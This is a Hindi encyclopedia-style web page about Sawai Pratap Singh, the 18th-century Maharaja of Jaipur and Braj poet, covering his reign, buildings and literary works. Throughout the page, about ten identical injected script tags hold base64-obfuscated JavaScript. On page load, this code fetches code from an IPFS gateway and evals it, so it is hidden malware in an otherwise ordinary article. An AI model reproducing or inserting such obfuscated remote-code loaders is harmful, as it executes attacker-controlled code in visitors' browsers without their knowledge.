सवाई प्रताप सिंह  

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
सवाई प्रताप सिंह
पूरा नाम सवाई प्रताप सिंह
अन्य नाम प्रतापसिंह 'ब्रजनिधि'
जन्म 2 दिसम्बर, 1764 ई.
जन्म भूमि जयपुर, राजस्थान
मृत्यु तिथि 1 अगस्त, 1803 ई.
पिता/माता पिता- माधोसिंह प्रथम
निर्माण 'मदनमोहन जी का मंदिर', 'हवामहल', 'गोविंद जी के पहाड़ी का हौज' आदि।
अन्य जानकारी प्रताप सिंह की 22 रचनाएँ उपलब्ध हैं, किंतु सोरठ ख्याल, (36 चरण की एक लघु रचना) उनके किसी पद संग्रह का ही एक अंश दिखाई पड़ती है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

सवाई प्रताप सिंह (अंग्रेज़ी: Sawai Pratap Singh, जन्म- 2 दिसम्बर, 1764 ई., जयपुर; मृत्यु- 1 अगस्त, 1803 ई.) जयपुर के महाराजा तथा हिन्दी कवि थे। उन्होंने जो काव्य रचा, उसमें 'ब्रजनिधि' उपनाम प्रयुक्त किया है। प्रताप सिंह 'ब्रजनिधि' ने भवन निर्माण के क्षेत्र में काफ़ी रुचि दिखाई। ठाकुर ब्रजनिधि, मदनमोहन जी का मंदिर, हवामहल, गोविंद जी के पहाड़ी का हौज आदि उसके स्थापत्य प्रेम के बेहतरीन नमूने हैं।

परिचय

सवाई प्रताप सिंह मात्र चौदह वर्ष की अवस्था में सिंहासनारूढ़ हो गए थे। युद्धों में अत्यधिक व्यस्त एवं रोगों से ग्रस्त रहने पर भी उन्होंने अपने अल्प जीवन में लगभग 1400 वृत्तों का प्रणयन किया। लोकविश्रुत है कि महाराज परम भागवत थे। भक्ति-रस-तरंग अथवा मन की उमंग में वे जो पद, रेखते अथवा छंद रचते, उन्हें उसी दिन या अगले दिन अपने इष्टदेव गोविंददेव तथा ठाकुर ब्रजनिधि महाराज को समर्पित करते थे। कम से कम पाँच वृत्त नित्य भेंट करने का उनका नियम था।

रचनाएँ

प्रताप सिंह की 22 रचनाएँ उपलब्ध हैं, किंतु सोरठ ख्याल, (36 चरण की एक लघु रचना) उनके किसी पद संग्रह का ही एक अंश दिखाई पड़ती है। उनकी 22 रचनाएँ, जिनका निजी स्वतंत्र अस्तित्व है, काल क्रम से इस प्रकार हैं-

  1. संवत् 1848 विरचित - प्रेमप्रकाश, फाग रंग, प्रीतिलता
  2. संवत् 1849 प्रणीत - सुहागरैनि
  3. 1850 लिखित - विरहसरिता, रेखतासंग्रह, स्नेहबिहार
  4. संवत् 1851 रचित - रमक-जमक-बतीसी, प्रीतिपचीसी, ब्रजशृंगार
  5. संवत् 1852 कृत - सनेहसंग्राम, नीतिमंजरी, शृंगारमंजरी, वैराग्यमंजरी
  6. संवत् 1853 - रंगचौपड़


प्रेमपंथ, दुखहरनवेलि, रास का रेखता, श्रीब्रजनिधिमुक्तावली, ब्रजनिधि-पद-संग्रह तथा हरिपदसंग्रह, इन शीर्षक छह कृतियों का रचनाकाल कवि ने नहीं दिया है। संख्या में 22 होने के कारण इन्हें 'ग्रंथबाईसी' कहते थे। ब्रजनिधि की पद रचनाएँ राग-ताल-बद्ध हैं।

संगीत प्रेमी

सवाई प्रताप सिंह स्वयं भी संगीत प्रेमी थे। इस दिशा में उनके उस्ताद थे चाँदखाँ उर्फ दलखाँजी, जो बुधप्रकाश के नाम से प्रसिद्ध हैं। अन्यत्र दोहा, सोरठा, कवित्त, सवैया, कुंडलियाँ, छप्पै, चौपाई, बरवै, रेख़्ता प्रयुक्त हुए हैं। उनके काव्य में अनुप्रास, उपमा, उत्प्रेक्षा, रूपक, श्लेष प्रभृति अलंकार अनायास ही आ गए हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=सवाई_प्रताप_सिंह&oldid=640887" से लिया गया